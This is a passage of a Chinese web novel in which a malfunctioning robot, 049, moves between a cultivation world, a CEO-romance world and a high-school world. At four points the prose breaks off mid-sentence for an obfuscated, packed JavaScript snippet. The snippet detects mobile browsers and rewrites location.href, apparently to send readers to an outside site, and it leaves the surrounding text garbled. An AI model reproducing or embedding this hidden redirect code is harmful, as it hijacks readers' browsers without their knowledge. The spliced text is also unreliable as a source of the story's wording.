但其实这些入口的药物对机器人049压根产生不了作用。 无论是之前的温雪昙，还是如今的真言丹，它们在049身上的效果实际上都是他自己演出来的。 于是049当着江珺的面，将杯中的茶水一饮而尽。 “还真有点口干了呢。”他笑着说。 接下来，049把自己从设定里掏出来的杀父事件改编了一下忽悠江珺。 “那个男人年少时受了重伤，被我的父亲救回了家里。可是没想到，他的真实身份竟是魔族之人。等他伤愈后，为了抹去踪迹，竟将我的父亲残忍杀害才离去。” 他硬拗出了一个悲伤愤怒的表情，但显得有点像是打喷嚏打不出来的样子。 “那这画像——?”江珺曲起指节敲了敲相框上的玻璃。 “我幼年也曾见过那人一面，后来进了宗门求学，才逃过一劫。后来，我托人把我记忆中那人的模样画了下来，好铭记我的仇恨。”049继续编道。 …… 江珺盯着林肆玖看了半天。 其实这件事还有很多疑问，但他无意再追问下去了。 反正服下了真言丹的林肆玖不会欺骗他。这件陈年的仇恨似乎影响不到他现在的计划。 他并不关心林肆玖的过往。 只要与他飞升无关，他无意了解林肆玖的喜悦、仇恨与悲伤。 就算藏在林肆玖枕头下面的不是杀父仇人，而是心意暗许之人，江珺也不会产生一丝情感波动的。 毕竟他从未真正把林肆玖当作道侣。 他只是他飞升的一个工具罢了。 “那你好好休息吧。”江珺起身离开，临走前又给049留下了几瓶丹药。 等那道淡青色的身影彻底消失在视线之中后，049才终于松了口气。 人类真是太难糊弄了，尤其是江珺这种人类。 这次故障带过来的是一个小小的相框，那下次要是带过来别的怎么办？ 带过来个床，带过来个车，万一再带过来个人…… 049觉得自己的机器脑袋瓜轰轰的。 他又向穿书局连续发送了五十条信息，可是依旧石沉大海。 他几乎体会到人类“无助”的情感了。 大概就是这样想要和信任的母体链接，却怎么都链接不上的感觉吧。 这时候他突然察觉到一丝目光。 回头一看，原来是刚刚被江珺随手放在桌上的照片里，裴熠彤的目光。 “啪！” 049一巴掌把相框朝下拍倒，让裴总英俊的脸和地面亲密接触。 “眼不见心不烦。”049念叨。 他觉得自己又更像人类一点了。 * 傍晚时分，赤红的云霞漫过惊尘峰顶。 数座典雅楼阁在扶疏的花木间错落，琉璃瓦上流动着淋漓的霞光，熠熠生辉。 清越的晚钟声悠悠荡起时，亭台楼阁里的荧荧灯火也渐次燃起了。 星星点点，将快要沉入夜幕中的山峰映亮。 道童替049整理好了干净的床铺，清理了香盒中的残香，又默默退去了，只留049一个人在房间里。 惊尘峰上的道童不知是不是应了江珺的要求，总是不和049搭话。 幸亏049是机器人，如果他是一个活生生的人，大概会被寂寞所困吧。 夜间左右无事，049便准备躺下了。 他和江珺虽说是道侣，却从未同床共枕过。 江珺的境界已无睡眠的需求，长夜里，他常在惊尘峰最高的建筑琅寰阁中静坐修炼。 此刻，江珺便端坐于琅寰阁之巅，四角八盏应天灯烛火摇曳。 夜风吹拂江珺无喜无悲的面庞，他周身真元缓缓运行着，如星系萦绕，平静而有序。 “哑——” 忽地一声夜枭鸣啼，刹那间狂风大作，八盏应天灯齐齐熄灭。 江珺的青色衣摆猎猎作响，他睁开眼睛，眼底满是晦暗。 他又看到了那个画面。 近年来他感到自己修行停滞，就像有一个无形的屏障阻塞。 难道是他的无情道心不够纯粹吗？他并不这么觉得。 他自幼丧父丧母，被师父引入道后，师父也从此隐居不见踪影。 他幼年便情感淡漠，无牵无挂，自认已在“无情”一道上走到尽头。 但离飞升咫尺之遥时，他一遍遍试图突破，都失败了。 直到有一天，他于识海自观时，忽然看到了一个画面。 画面中他一身鎏金云纹的大红婚服，与另一人紧紧相拥。 怀里的人抬起头看他，清风明月般的脸庞染上绯色，一双弯弯笑眼里荡漾着碎星一样的喜悦。 漫山皆披红绸，这红也渐渐染上了天际，攀上了东升之满月。 月亮越往上一寸，便越红一分。 他在那人的眼睛里看见了自己的倒影，自己起初同样笑着，直到猩红血月升到正中—— 他敛起笑容，倏然从腰侧拔出佩剑，一剑刺穿了怀中人的胸膛。 怀中人的瞳孔不可置信地猛缩，鲜血将红衣浸得更靡艳。 他缓缓地摸上了刺入自己胸膛的剑刃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15271005|166628||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，那一柄带着薄绿的名剑浸山青。 片刻之后，那人竟释然地笑了：“罢了，就当是了结前世的情缘了。” “如今最后一丝尘缘已断，想必你也将要飞升了。” 他咳着血说道，尽最后一丝力气从浸山青上挣扎而出，退至崖边。 “那么，就祝君——” “前程似锦。永世不见。” 语罢，他向后坠入万丈深渊。 血月光芒黯下。一瞬间，墨云笼世，降下九千九百九十九道天雷，照得人间仿若白昼。 画面中断于此。 江珺清醒后，意识到这是天道对他的指点。 他无法飞升，是因为还有尘缘未了。这尘缘并非来自这一世，而是源于上一世。 他前世的爱人投胎转世后，冥冥之中两人的姻缘线重又捆绑。 那么他想要飞升，只能在血月之夜，杀妻证道。 画面之中他清晰地看见了爱人的脸，那是一张清丽的少年面庞。 江珺离开宗门，暗中遍寻大陆，却没见到一个符合标准之人。 直到他回到宗门那一天。 那一天是俗世的元宵节。暮色四合之时，宗门内几个年轻弟子结束了一天修行，准备偷偷溜下山看看山下城镇的灯会。 他们还未脱少年人的性子，清朗的笑声在山谷回荡。 江珺瞥了他们一眼，也不打算把他们抓回长老那里。正要离去的时候，突然看到其中一个少年扬起脸庞。 赤云映红了他的脸，和江珺梦里的那张面庞一模一样。 那个少年叫林肆玖。 * 和林肆玖结婚契之后，江珺就很少梦见指引他的那个画面了。 不知今日是怎么了…… 修行者极敏锐的直觉让江珺感觉有一些不对劲，今天的林肆玖身上的气质似乎变了。 沉思片刻，江珺站起身来，离开了琅寰阁。 结婚契以来，他从未在夜晚进入过林肆玖的住处。 他知道林肆玖其实想要他的陪伴，但是他并不想浪费时间去演多余的戏。 但现在他忽然想去看一看。 都说日有所思夜有所梦，或许在林肆玖的枕边，会听到一些真言丹问不出的梦呓。 林肆玖的卧房只点了幽幽一盏铜灯。 江珺隐匿身形迈步而入，连铜灯的灯焰都没有晃动一丝。 林肆玖侧卧在层层叠叠的月影纱帘后，气息平稳，应该是熟睡了。 他撩起纱帘，看见林肆玖安详的睡脸埋在锦被之中，睫毛的阴影静静地映在鼻梁上，毫无防备的样子让江珺心念一动—— 他伸出手，轻轻地扼住了林肆玖纤细的、脆弱的、似乎一折就断的脖颈。 他的脉搏在他掌下一下下跳动着，像铁笼中被囚禁的雏鸟在一下下振翅。 生机洋溢，却又徒劳无功。 江珺突然就安心下来，林肆玖的一切都尽在他掌控之中，不会有变数。 他收回了手。 这时，林肆玖梦中呢喃了一句，翻了个身，唇瓣微微翕张。 居然真的梦呓了吗？江珺俯下身凑近林肆玖，想听听他梦里在说什么。 然后他就听到林肆玖咕哝道：“鍙娉辨爨溪瑕估ソ濂藉涔けお澶十惺涓? ” 江珺怀疑自己听错了。 梦话一般都没有逻辑，但是它至少得是人的语言吧！ 他贴得更近了，想听得更清楚一点。 还好林肆玖又说梦话了。 这次他说：“锟斤拷锟斤拷我锟斤拷想锟斤拷回锟斤拷锟斤拷家锟斤拷锟斤拷烫烫烫。” 江珺：？？？ 5. 新世界和新同桌 049并不知道江珺在他床前听了一耳朵乱码，他此时已经切换了世界。 本来他是准备回霸总世界的，但打开切换界面之后，他忽然发现了一点不同。 在故障之前，他除了两个固定的任务世界，还有一个“其他世界”的列表。 为了让机器人们能更多扩充数据库、更好地拿捏人类的神韵，穿书局也会定期要求他们去任务世界之外的小说世界里学习探索。 故障之后，那个列表就怎么都刷新不出来了。 但此时，049突然发现列表里多出了一个世界，它的入口闪着蓝天白云阳光一样灿烂的光芒。 旁边标注着《狂野校霸和他的高冷学霸》，校园甜宠文。 049还没有正经上过学校，他很好奇。 在霸总世界里，他的身份虽然是大学生，但是整个剧情跟大学生活一点关系都没有，于是049就一次也没去过大学。 而在仙尊世界里，如果在宗门修行也算上学的话，049也是上了两天，但没多久就被江珺横插一脚娶走，再次肄业。 高中生活……是什么样子的？ 049看着那个入口，突然有点想去看看。 反正进去也不用完成任务，再说了，现在的自己比以前更应该多去学习，学习怎么做个正常人类。 于是，049走进了那个闪着光的世界。 * 景城一中的清晨是并不安静的。 明媚的初春朝阳将校园内挺拔雪松照得翠绿，不知名鸟雀的清鸣在繁茂枝叶间跳跃着。 学校正中的钟楼上，巨大的指针指向七点二十五。 还有五分钟早读课就开始了，还没进班的学生纷纷加快了脚步，叼着早餐的、捧着单词书的，脚步声窸窸窣窣。 教学楼里更是人声嘈杂。 高二五班的教室里，学委已经旁若无人地拿起书来读了。 他的后桌拿笔戳戳他的背，卑微道：“球球了学委～数学卷子借我瞻仰瞻仰～” 学委头都没抬，只是干脆利落地递过一张写满潇洒字迹的卷子。 “天使。菩萨。神。”后桌嘴里颠三倒四一阵吹捧，忙不迭地就开始对起答案。 而班门口有人大叫起来：“班长——门外签到平板坏了！” 班长喻星光三步两步上前去，让挤在门口等签到的同学先进班，他来修一下平板。 大概是网络连接出问题了。他正埋头捣鼓着，走廊上突然窜过来个潘莺语。 潘莺语是本班消息最最最灵通的女生，她此刻又满面兴奋的笑容，像是憋着什么好料。 “哎班长班长，你知道吗，爆炸性事件！”她语速极快地嚷嚷道。 喻星光知道，其实不搭腔的话，她也会自顾自地全都说出来。 但为了表示捧场，他还是配合道：“不知道，什么事啊？” 潘莺语雀跃道：“我们班要来一个转校生诶！而且长得特别好看！我靠，这什么小说桥段啊啊啊啊！” 还没等喻星光反应，她就迫不及待地又冲进班跟其他人分享这个消息了。 喻星光愣了两秒，有些失笑地继续修平板了。 潘莺语这个人向来夸大其词，能把两分吹成八分。所以他对她嘴里“特别好看”的“特别”持保留意见。 直到走廊上脚步声再次响起，班主任走过来递给他一张崭新的校园卡：“班长，帮忙把新同学的信息录入到平板里。” 他猛得一抬头，班主任姜老师正看着他。而她的身边—— 一位陌生的少年站着，早晨七点二十八分的春阳浸透他清亮的眼眸。 晨风将他的额发吹乱了些，他随意拨开，朝喻星光微微笑了笑。 那一刹那，喻星光莫名想到了刚切开的新鲜青苹果，剔透的汁水迸开，鼻端尽是清爽微涩的气息。 喻星光：………… 他第一次觉得潘莺语的语言表达不到位。 这是“非常好看”吗？ 这简直是……非常非常非常好看。 语文向来拔尖的喻星光一时失去了表达能力。 最后还是早读铃响起救了他。 他匆忙收回停留在新同学脸上的视线，低着莫名有点发烫的脸，跟着班主任进班了。 教室里果不其然一阵哗然。 班主任戒尺敲了敲桌子，示意大家安静下来。 “从今天开始，又有一位新同学加入了我们五班大家庭。大家掌声欢迎他！” “啪啪啪啪啪啪啪——” 大家热情非常高涨，鼓足劲拍手、拍桌子。 还有活跃男生趁乱拍起了肚皮，起哄地欢呼：“wuu-hoo——！” 新同学看上去有一些迷惑。 049第一次看到这么多年轻又鲜活的人类，觉得自己的人类学识更加捉襟见肘。 他正在《如何模仿一个正常人类》里紧急检索： ——人类拍手是什么意思？ ——人类拍肚皮是什么意思？ ——第一次见面，人类一直响是什么意思？ 真不能怪049。 他故障后，见到的都是像裴熠彤这样的矜持上流人士，或者是像江珺这种喜怒不形于色的修仙人士，实在没有这么活泼外放的。 《如何模仿一个正常人类》里告诉049，拍手是表示欢迎，拍肚皮和高声呼喊可能是表示非常开心。 049懂了。 身边的姜老师在一片嘈杂中努力提高音量：“下面我们请新同学进行自我介绍！” 音浪渐渐平息了。好多双眼睛亮亮地看着049. 049又故技重施地拿出温秋亭的经典笑容，说道：“大家好，我叫林肆玖。” 忽然一下子，底下又喧哗起来。好多人不知为何都笑着回头看向同一个方向。 049莫名其妙地顺着他们的视线看去—— 目光汇集之处，坐着那个刚刚在门口遇到过的男生。 男生个子很高，身形如青竹拔节般修长，浓墨般的剑眉下一双明亮的瑞凤眼。 本是非常英气的脸庞，此刻却因众人的起哄而一下子腾上了薄红，一路烧到耳尖。 “啊，”班主任明白过来，看到身边049茫然的样子，对他解释道， “好巧，我们班班长学号就是04 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15271006|166628||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 9.” 原来如此。 049好奇地多看了那个男生几眼。 可能是由于编号和他相同，049不由对他产生了一些亲切感。 就像是人类遇到同名的人一样。 但是那个男生和他对上了一下目光就慌忙错开了，耳尖更红了几分。 噢，是个内向害羞的人吧。049肯定地判断。 “——好了好了，我们让林肆玖继续自我介绍。”姜老师再次维持秩序，把讲台让给049。 049从《如何模仿一个正常人类》里抄了一段得体的自我介绍，讲完之后发现下面反响平平。 可能是这段话没有表现出自己加入新集体的开心吧，049想。 他觉得自己应该入乡随俗，更青春一点，更热情一点，给他的新同学们展现一个良好的精神面貌。 于是在大家的注视下，他诚恳道：“最后，非常开心和大家成为同学！” 然后他有样学样地拍了拍肚皮，高呼了一声：“wuu-hoo——！” 众人：？？？ 049眼睁睁地看着大家集体后仰，班里死一般地寂静。 难、难道自己搞错了吗？！ 《如何模仿一个正常人类》害机器人啊！ * 最后还是姜老师干笑两声紧急来救场：“啊哈哈……我们林同学非常的活泼可爱啊。” 她假装很忙地抬头看了看时间：“哎呀，早读课已经开始很久了，林同学就赶紧坐下吧。” 环顾了一下班级的座位，她给049指了位置：“正好喻星光的同桌请长假了，你就先坐那里吧。” “正好他是我们班班长，你有什么不懂的都可以问他。”姜老师笑着补充道。 049点了点头，拎着书包走到了那个叫喻星光的男生旁边。 男生的包正放在那个空座位上。他好像是没有想到老师会突然安排049和他做同桌，一时手忙脚乱地把自己的包拿走，一边说着不好意思，一边耳朵腾地又红了。 049在他身旁坐下，很好奇地看着他的耳朵。 好神奇，不知道这么腼腆容易害羞的人是怎么做班长的呢。 喻星光也不知道自己是怎么回事。 他本不是容易脸红的人，平时主持活动他都干脆利索，在全校大会上演讲也从不扭捏。 ……难道是因为今天天气太热吗。 他转头看向窗外，春日的暖阳是灿烂的金色，像新开封的蜂蜜，融融地将窗外玉兰树上的花苞包裹。 春天来了。确实升温了吧。 他欲盖弥彰地将自己蓝黑色的冲锋衣校服领口解开一点点，感觉的确凉快许多。 这时候，坐在他和窗之间的新同桌好像是感觉到了他的视线，疑惑地微微把脸侧过来一点。 喻星光突然意识到自己看窗外的动作可能会让新同桌误会，连忙小声解释：“……我没有在看你啊。” 新同桌说：“我知道。” 然后他顺着喻星光刚刚的视线也向窗外看去，眼睛弯弯的，看上去心情很好。 “我以前都没有发现，春天真美啊。” 6. 转校生美丽但实在离奇 早读课下了，四周的同学们都有些好奇地探过头来。 虽然林同学自我介绍最后的行为实在有点一鸣惊人，但大家还是很乐意来跟他聊天。 一圈人七嘴八舌地介绍自己的名字，049对他们一一微笑，把他们的名字都录入心里。 听着这边叽叽喳喳，隔壁组一直没动的一个男生也回过头来：“你们说怎么多，人家怎么一下子记住啊。” “没关系的，”049说，“我能记得。” 录入数据罢了，对他们机器人来说很简单的。 那个男生便微微点了点头，也自我介绍道：“你好，我叫应琸。” 应琸后桌的男生补充道：“这位是我们班学委，表面高冷心地善良。你以后要是作业实在来不及，可以找他应急……” 然后被应琸面无表情地敲了脑袋。 应琸……049记得，这是这本《狂野校霸和他的高冷学霸》里的主角受学霸的名字。 049不由得多打量了他几眼。 他戴着一副银边眼镜，皮肤白得几乎能看见淡青色的血管。侧脸线条干净凌厉，只是一直一副淡淡的模样，没什么表情。 主角受在这里，主角攻呢？ 049又读取了一下本世界的基本资料，这里的主角攻叫牧风羽，是一个性格很不羁的校霸型传奇人物。 他环顾了全班，好像没有看到有符合描述的人。 “你是在找什么吗？”旁边同学热心问。 “噢，我想问一下牧风羽是哪位。”049说，“他不在吗？” 应琸本来已经掉头回去继续写题了，听到049的问话，不由得冷哼一声：“他啊。估计又翘课不知道干什么去了。” 也是，要真天天准时来上课也就不符合叛逆校霸人设了。049想。 “他的威名都传到新同学的耳朵里了？”应琸带着点讽刺问，看起来非常不待见牧风羽。 “只是听说。”049回答。看来他们俩现在还在相见两厌的阶段呢。 这时又有一个同学突然想到什么，很激动地拍拍049：“哎呀对了，你来得真凑巧。很快要到繁花周了，你也一起参加呀！” 一直坐在049旁边没说话的喻星光终于找到机会接话了。 他给049解释道：“繁花周是我们学校的一个传统特色，在这一周的时间里学校会开展很多的艺术活动，比如文艺晚会之类的，大家都很喜欢。” “感觉很有意思！”林肆玖捧场。 “其中有个最隆重的文艺晚会，每个班要出一个节目，还会进行评分的。”喻星光说，“林同学你有什么特长吗？可以来报名参加啊。” 旁边人也纷纷撺掇049参加。他们想着新同学这么好看的一张脸，不拿出来给其他班同学显摆显摆实在可惜了。 049闻言认真思索了一下。 才艺么…… 常规点的唱歌跳舞的话，唱歌估计他一开口只能整成电音rap star，跳舞的话他的机器身体也实在算不上太协调，无论啥舞都能跳成浑然天成的机械舞…… 实在不行效仿春晚机器人前辈穿个大花背心扭秧歌？但又实在没人家那绝技。 而且只穿背心不穿裤子估计过不了审。 而且这些都太常规了吧…… 既然要评分，肯定关乎班级荣誉的，自己也应该展示一个别出心裁点的特长。 049想了半天自己到底有什么优势，突然想到在这个全是普通人类的世界里，也许他在肉/体的坚硬程度上非常突出。 毕竟他可是先进材料组成的，可能抵挡不住临近飞升的江珺的一击，但是在这个世界估计挡子弹都没问题。 于是他很有自信地问喻星光：“杂技可以吗？” “……啊？” 喻星光实在没料到他说出这样一个特长，一时脑子有点宕机，半晌才问，“会不会有点危险……你想表演什么杂技啊？” 049说：“胸口碎大石。” ………… 周围众人又是一个集体后仰。 由于049表情太真诚，同学们甚至都不能判断他是不是在开玩笑。 “啊哈哈哈哈哈……”有人试探地笑道，“林同学好会开玩笑啊……” “我没在说笑呀。”049认认真真地说，“我很坚硬的。” 他为表真实，从笔袋里拿出一只笔放在双手掌心之间，掌心用力一合—— “啪！” 笔杆断裂了。而049的手心毫发未伤。 大家看了看笔杆。 又看了看049。 又看了看笔杆。 没有人讲话，但是所有人的心中都喷涌着一个相同的念头—— 新同学长着这么一张漂亮的脸，但是怎么行事如此让人震撼啊！！ * 几节课下课之后，班主任姜老师将049叫到办公室里，询问他是否适应得好。 “嗯……”049回忆了一下刚刚的课。 他没有上过任何一门高中课程，所以上每一堂课都是很新鲜的。 第一节课是数学课。 他看着别人都举手，为融入集体也举起了手。数学老师便很高兴地点了新同学解题。 049完全没学过数学，但他凭借着他内置的计算模块，以极快的计算速度震惊了数学老师。 数学老师两眼放光，认为自己捡到了好苗子，下课后得意地回办公室向同事们炫耀去了。 就当同学们都认为转过来的新同学是个大学霸的时候，下一节语文课他们却大跌眼镜—— 049不会做阅读理解。 故障前的049可能还粗通人性，故障后的他实在是纯人机思维。让他做阅读理解完全是强机器人所难。 语文老师简直是恨铁不成钢，无奈道：“都是一些很浅显的情感呀，再努力理解一下！” 049也很无奈，他就是因为连浅显情感也无法理解才会来这个世界学习啊！ 下课后，语文老师唉声叹气地走了。 而同学们对049的印象刷新成了“极度偏科的理科学霸”。 “慢慢适应。”姜老师说，“对了还有一件事。” “我们春季校服之前已经统一订购完了，如果你再单独购买可能有一点麻烦。但是这里有一套之前剩下的校服，是没有拆封的新的，只是反光条稍微有一点问题。” 姜老师从柜子里拿出一包校服：“如果你不介意的话，可以直接把这套拿走。” 景城一中的初春校服是冲锋衣款式，男生和女生的校服分别在不同位置嵌着细细的反光条。 姜老师手里的这套，虽然款式是男款，但反光条却是女款的。 “没事，我就拿这套吧。谢谢老师。”049完全无所谓。 他是机器人，本来对穿什么都无所谓。 还有一个小插曲。 在第一节课上了一半的时候，教室的门突然被打开了。 随着风进来的是一个斜挎着书包的高个男生，他的校服外套松松地敞开着，四处支棱的凌乱黑发下是一双桀骜不驯的眼睛。 “报告。”他说。 “今天还来挺早的。”数学老师有些稀奇道，“快坐下吧。” 于是男生在众人的眼光下走到了最后一排靠墙的空座位坐下。 课堂继续了，男生并没有拿出数学书，而是掏出一个素描本开始画画。 这应该就是牧风羽了。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15271007|166628||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 049好奇地看了他一会儿。 牧风羽好像感觉到了有人在看他，侧头和049对上了视线。 他挑了挑眉，无声问道：“新来的？” 049点了点头。 牧风羽收回了目光，继续在本子上涂涂画画。 049想，也许以后他应该多接触接触主角攻受，学习一下人类到底是怎么谈恋爱的。 * 在新世界的一天很快便过去了，049感觉还是受益匪浅的。 晚自习下之后，他收拾好书包刚准备走，突然被他的同桌叫住了。 同桌喻星光看上去非常不经意地说：“你家住哪个方向呀，要是同路我们可以一起走。” 049愣住了。 他没有家呀，这可怎么办。 因为在这个世界的原著里，他这个身份是不存在的。 他只是靠系统开后门进来学习，所以理论上来说他算是世界黑户。 喻星光看他突然不语，以为是冒犯到他的边界了，连忙道：“啊如果不方便说的话就算……” “没有。”其实049在紧急调出周围的地图，临时选了一个附近的小区，“我住在文澜庭。” “诶！”喻星光的眼睛睁大了，“我和牧风羽也住在那里。” ……怎么偏偏这么凑巧啊！049很绝望。 “喻星光，怎么还不走啊。”牧风羽已经倚在门口催促了。 “那你……”喻星光看向049，不好意思再问他一遍，生怕自己像绑架新同学一样。 “一起走吧。”049还是答应了。 他的新同桌还蛮友善的。多接触接触没有坏处。 于是平时是喻星光和牧风羽两个人的同路队伍，今天变成了三个人。 景城高中下晚自习的时间是晚上九点。 他们回家途中是走一条河边的路，夜晚的河水看上去静静的。 路灯把三个人的影子拉得长长的，喻星光和049踩着影子，有一搭没一搭地讲着话。 而牧风羽一般不怎么说话，走在一边懒散地踢着路上的小石子。 初春的晚风尚有几分微凉，挟着水藻和河中潮湿的气息拂在他们脸上。 049从诞生以来，他就一直在执行任务。 这还是第一次，他的处理器不是被分析他人的数据占满，而是飘进了一丝悠闲的晚风。 好像也不错，049想。 他有点想在这个世界多呆一会儿了。 * 而此时，霸总世界。 裴熠彤和温秋亭吃完饭，又带他去听音乐会。晚饭后又亲自将温秋亭送回了家。 在温秋亭身边，他本以为他会感到平静和满足。 但气氛总被他脑海里时不时跳出来的林肆玖蹬单车图毁了。 毕竟那个画面对他冲击太大。 他开车回了自己的别墅。雕花大门无声地敞开，他的车驶入长长的车道。 隔着一段距离，裴熠彤看见二楼林肆玖房间的窗户里黑漆漆的，没有开灯。 林肆玖出门了？还是早早睡下了？平时他都会待在自己房间里等自己回来。 裴熠彤有点烦躁地想，今天他到底什么毛病。 不过无所谓了，既然温秋亭已经回来了…… 也许是时候让林肆玖离开了。 他上了二楼，打开林肆玖的房间。 房间里没有人。 难道林肆玖自己走了？裴熠彤仔细一看，又感觉不对。 林肆玖的随身物品、衣物都摆在原位，甚至连手机都还摆在床头。 整个房间除了林肆玖，唯一消失的—— 是摆在林肆玖床头的，那张他的照片。 7. 捉人在房 虽然想多在新世界留一阵子，但049实在无家可归。 他总不能在街头站一晚上第二天再去上学吧。 ……其实也不是不行，反正他不会累也不怕冷。但万一被路人看见了，也显得他太凄惨了。 049犹豫了一下，决定还是先回去做任务。 下次再来校园世界的时候，时间节点选成第二天早上就好了。 于是049切换世界，准备回去继续当替身。 又是白光闪过，049坐起身来…… ……不对，他的身子呢？？！！！ 049坐起来之后猛然发现，他没看到他的身子。 他的目光直接穿过一片虚空，落在了身下的床单上。 这又是什么新bug啊！ 049匆忙下床来到镜子面前，简直像是来到了灵异片片场。 镜子里面空荡荡的，也没有他的身影。 要不退出重进一下？049点开切换界面，却发现界面又显示着“世界载入中，请稍等，请勿中途退出世界”的字眼。 难道是自己身体的建模还没有加载出来吗？ 还要等多久啊！万一直接加载个十年八年的，他不就成失踪人口了吗？ 不过也没有别的办法，049只能等待。 林肆玖没有出现的第一天，裴熠彤不在意。 林肆玖没有出现的第二天，裴熠彤不在意。 林肆玖没有出现的第三天，裴熠彤开着豪车去林肆玖大学门口转了一圈。没看见林肆玖，倒是收获了一堆大学生好奇的眼光。 林肆玖没有出现的第四天，裴熠彤打电话给了林肆玖的一些好友，得到并没有看到林肆玖的消息。 林肆玖没有出现的第五天，裴熠彤坐在林肆玖房间的床上发了一会儿呆。 林肆玖就这么不告而别了，他应该觉得庆幸才对。 但他不知道自己现在心中的这种烦乱感是怎么回事。 也许是因为掌权惯了，他习惯性地觉得这段关系的结束应该由自己提出，然后再得到林肆玖痛哭流涕的挽留。 而不是林肆玖就这样决绝地离开，好像轻易地就能放弃和自己的一切。 裴熠彤揉了揉自己紧蹙的眉头，走到阳台上，点起一根烟。 淡淡的灰色烟雾升腾而上，又被风吹散在更远的地方。 透明的049站在裴熠彤的后面。 “不要在我的房间里抽烟。”049说。 他不喜欢烟的味道，烟味会让他联想到主板烧焦的惊悚感觉。 但是049的语音包同样没有加载出来，他张嘴但没声儿。 049只能沉默地站在裴熠彤身后看他抽完了半根烟。 如果有人能从049那张透明脸上辨认出表情的话，大概能看到他的表情比裴熠彤还阴郁。 终于，裴熠彤的手机响了，裴熠彤掐灭了烟。 “你是不是忘了什么啊，裴总。”电话那边传来有些懒洋洋的声音，调侃道，“裴总日理万机，提早预约了都没法见到一面啊。” “……”电话对面是谢明知。 谢家和裴家是世交，几代一直保持着来往。谢明知和裴熠彤小时候也是玩在一起过的。 谢明知几天前就邀请了裴熠彤今天去谢家吃饭，虽然是以个人的名义，但其实也算是两家的一个小交际。 裴熠彤心思烦乱竟差点错过了时间。 他抬手看了看腕表，道：“我很快就到。” 他不知道，和他一起坐在车后座上到谢家的，还有透明049. 闲着也是闲着，049想，不如去看望一下故人。 * 谢家。 见裴熠彤进门，谢明知在楼上随意地招呼：“裴总来了啊。” 裴熠彤习惯了他的不拘性子。这人甚至现在还穿着一身日常的家居服，跷着腿喝着咖啡。 “谢伯父和伯母呢？”裴熠彤礼貌性询问。 “我爸去意大利谈生意了。我妈说不打扰年轻人聚餐，就跟她一群老姐妹购物去了。”谢明知回答。 “裴哥哥你怎么不问我？”一个小女孩的声音忽然响起。 049抬头看着那个从楼梯上走下来的小女孩，发现她又长高了。 她是谢明知的妹妹谢清心，今年小学四年级。 一年前，049曾经做过谢清心的家教。说是家教，其实就是陪着谢清心一起玩儿。 做了两个月的家教后049就辞职去实习了，紧接着就遇到了裴熠彤。 当时049离开的时候，谢清心还哭了一鼻子。 虽然049并不知道为什么会有这样一段做家教的剧情，但如果他能打开那个灰掉的原书剧本往后看，就会发现原因。 谢清心的哥哥谢明知正是本文的男二角色。 谢明知此人性格十分真性情，也最不喜拘束。 而原文中林肆玖带着谢清心在花园一起玩的时候，回家的谢明知正好走过来。 那天的天气很好，碧空澄澈如洗，空气中都浮动着清甜的花香。 谢清心手里拿着一枝花把玩着，抬头问林肆玖：“林哥哥，你最喜欢哪种植物呀？” 林肆玖思考片刻：“蒲公英吧。” “啊？为什么？”谢清心没想到这个答案，“它开出的花又不起眼。” “可是我喜欢它的自由啊。”林肆玖回答，“乘风而去，任意飘游，等到风停之日，再安稳落地生根。” 谢清心似懂非懂地点点头，小手一挥指着旁边的名贵花圃：“那我让园丁把这边一块都铲了，种上蒲公英。” “不用这样。”林肆玖笑着说，“它想来的时候，自己会飘来的。” 谢明知斜倚在门边，听着他们的对话。 他的目光落在林肆玖微笑的侧脸上，感觉自己如蒲公英般漂泊的心好像也在寻找着一个落点。 剧本里，后来当林肆玖被裴熠彤扫地出门的时候，是他一直在陪着林肆玖。 不过目前的049完全不知道他的心意，对他的印象只是“谢清心的哥哥”。 “裴哥哥，林哥哥不是和你玩得好吗，你今天怎么没把他一起带来玩呀。”谢清心问道。 我在啊。透明049站在谢清心的旁边轻轻碰了碰她的胳膊。 不过理所当然地，谢清心没有察觉到。 听闻问话，裴熠彤的脸色又沉了几分。 “下次吧。”他说。 “怎么了？跟他吵架了？”谢明知端着咖啡杯好整以暇地问。 “没有。”裴熠彤敷衍地说。 谢明知看出他不想谈这个话题，于是也没有再问，转头吩咐管家午餐可以准备开始了。 午餐时，透明人049百无聊赖地坐在餐桌旁的空椅子上。 空椅子在谢清心身边，049把手支在桌子上，看谢清心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 